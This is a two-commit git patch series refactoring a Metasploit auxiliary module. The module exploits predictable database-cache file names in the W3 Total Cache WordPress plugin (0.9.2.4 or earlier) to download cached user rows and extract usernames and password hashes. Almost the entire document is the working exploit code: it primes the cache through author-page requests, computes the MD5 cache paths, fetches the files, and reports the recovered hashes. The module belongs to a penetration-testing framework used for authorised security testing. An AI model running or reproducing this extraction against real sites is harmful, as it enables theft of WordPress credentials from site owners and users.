From 3d2a62bc29a0c62569eb906b1155c551d98a02ca Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Tue, 29 Jul 2014 19:49:48 +0200 Subject: [PATCH 1/2] Updated W3 Total Cache Hash extract module --- .../gather/wp_w3_total_cache_hash_extract.rb | 100 +++++++++--------- 1 file changed, 52 insertions(+), 48 deletions(-) diff --git a/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb b/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb index 228fda6197..62bf9ba864 100644 --- a/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb +++ b/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb @@ -6,8 +6,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - - include Msf::Exploit::Remote::HttpClient + include Msf::HTTP::Wordpress include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner @@ -15,7 +14,7 @@ class Metasploit3 < Msf::Auxiliary super( 'Name' => 'W3-Total-Cache Wordpress-plugin 0.9.2.4 (or before) Username and Hash Extract', 'Description' => - "The W3-Total-Cache Wordpress Plugin <= 0.9.24 can cache database statements + "The W3-Total-Cache Wordpress Plugin <= 0.9.2.4 can cache database statements and it's results in files for fast access. Version 0.9.2.4 has been fixed afterwards so it can be vulnerable. These cache files are in the webroot of the Wordpress installation and can be downloaded if the name is guessed. This modules tries to @@ -25,76 +24,81 @@ class Metasploit3 < Msf::Auxiliary 'License' => MSF_LICENSE, 'References' => [ - [ 'OSVDB', '88744'], - [ 'URL', 'http://seclists.org/fulldisclosure/2012/Dec/242'] + %w(OSVDB 88744), + ['URL', 'http://seclists.org/fulldisclosure/2012/Dec/242'] ], 'Author' => [ - 'Christian Mehlmauer', # Metasploit module - 'Jason A. Donenfeld ' # POC + 'Christian Mehlmauer', # Metasploit module + 'Jason A. Donenfeld ' # POC ] ) register_options( [ - OptString.new('TARGETURI', [ true, 'Wordpress root', '/']), - OptString.new('TABLE_PREFIX', [ true, 'Wordpress table prefix', 'wp_']), - OptInt.new('SITE_ITERATIONS', [ true, 'Number of sites to iterate', 25]), - OptInt.new('USER_ITERATIONS', [ true, 'Number of users to iterate', 25]), - OptString.new('WP_CONTENT_DIR', [ true, 'Wordpress content directory', 'wp-content']) + OptString.new('TABLE_PREFIX', [true, 'Wordpress table prefix', 'wp_']), + OptInt.new('SITE_ITERATIONS', [true, 'Number of sites to iterate', 25]), + OptInt.new('USER_ITERATIONS', [true, 'Number of users to iterate', 25]) ], self.class) end - def wordpress_url - url = target_uri - url.path << "/" if url.path[-1,1] != "/" - url + def table_prefix + datastore['TABLE_PREFIX'] + end + + def site_iterations + datastore['SITE_ITERATIONS'] + end + + def user_iterations + datastore['USER_ITERATIONS'] end # Call the User site, so the db statement will be cached def cache_user_info(user_id) - user_url = normalize_uri(wordpress_url) + user_url = normalize_uri(target_uri) begin send_request_cgi( - { - "uri" => user_url, - "method" => "GET", - "vars_get" => { - "author" => user_id.to_s - } - }) + 'uri' => user_url, + 'method' => 'GET', + 'vars_get' => { + 'author' => user_id.to_s + } + ) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - vprint_error("Unable to connect to #{url}") - return nil + vprint_error("Unable to connect to #{user_url}") rescue ::Timeout::Error, ::Errno::EPIPE - vprint_error("Unable to connect to #{url}") - return nil + vprint_error("Unable to connect to #{user_url}") end + + nil end def run_host(ip) - users_found = false - for site_id in 1..datastore["SITE_ITERATIONS"] do + (1..site_iterations).each do |site_id| + vprint_status("Trying site_id #{site_id}...") - for user_id in 1..datastore["USER_ITERATIONS"] do + + (1..user_iterations).each do |user_id| + vprint_status("Trying user_id #{user_id}...") + # used to cache the statement cache_user_info(user_id) - query="SELECT * FROM #{datastore["TABLE_PREFIX"]}users WHERE ID = '#{user_id}'" + query = "SELECT * FROM #{table_prefix}users WHERE ID = '#{user_id}'" query_md5 = ::Rex::Text.md5(query) - host = datastore["VHOST"] || ip - key="w3tc_#{host}_#{site_id}_sql_#{query_md5}" + host = datastore['VHOST'] || ip + key = "w3tc_#{host}_#{site_id}_sql_#{query_md5}" key_md5 = ::Rex::Text.md5(key) - hash_path = "/#{key_md5[0,1]}/#{key_md5[1,1]}/#{key_md5[2,1]}/#{key_md5}" - url = normalize_uri(wordpress_url, datastore["WP_CONTENT_DIR"], "/w3tc/dbcache") - url << hash_path + hash_path = normalize_uri(key_md5[0, 1], key_md5[1, 1], key_md5[2, 1], key_md5) + url = normalize_uri(wordpress_url_wp_content, 'w3tc', 'dbcache', hash_path) result = nil begin - result = send_request_cgi({ "uri" => url, "method" => "GET" }) + result = send_request_cgi('uri' => url, 'method' => 'GET') rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout print_error("Unable to connect to #{url}") break @@ -103,8 +107,8 @@ class Metasploit3 < Msf::Auxiliary break end - if result.nil? or result.body.nil? - print_error("No response received") + if result.nil? || result.body.nil? + print_error('No response received') break end @@ -113,18 +117,18 @@ class Metasploit3 < Msf::Auxiliary print_good("Username: #{match[0]}") print_good("Password Hash: #{match[1]}") report_auth_info( - :host => rhost, - :port => rport, - :sname => ssl ? "https" : "http", - :user => match[0], - :pass => match[1], - :active => true, - :type => "hash" + host: rhost, + port: rport, + sname: ssl ? 'https' : 'http', + user: match[0], + pass: match[1], + active: true, + type: 'hash' ) users_found = true end end end - print_error("No users found :(") unless users_found + print_error('No users found :(') unless users_found end end From 674c3ca260952a7a11f947f652476ae6aae68ae2 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 30 Jul 2014 10:44:42 -0500 Subject: [PATCH 2/2] Use [] for references --- modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb b/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb index 62bf9ba864..9b7977ff37 100644 --- a/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb +++ b/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb @@ -14,7 +14,7 @@ class Metasploit3 < Msf::Auxiliary super( 'Name' => 'W3-Total-Cache Wordpress-plugin 0.9.2.4 (or before) Username and Hash Extract', 'Description' => - "The W3-Total-Cache Wordpress Plugin <= 0.9.2.4 can cache database statements + "The W3-Total-Cache Wordpress Plugin <= 0.9.2.4 can cache database statements and it's results in files for fast access. Version 0.9.2.4 has been fixed afterwards so it can be vulnerable. These cache files are in the webroot of the Wordpress installation and can be downloaded if the name is guessed. This modules tries to @@ -24,7 +24,7 @@ class Metasploit3 < Msf::Auxiliary 'License' => MSF_LICENSE, 'References' => [ - %w(OSVDB 88744), + ['OSVDB', '88744'], ['URL', 'http://seclists.org/fulldisclosure/2012/Dec/242'] ], 'Author' =>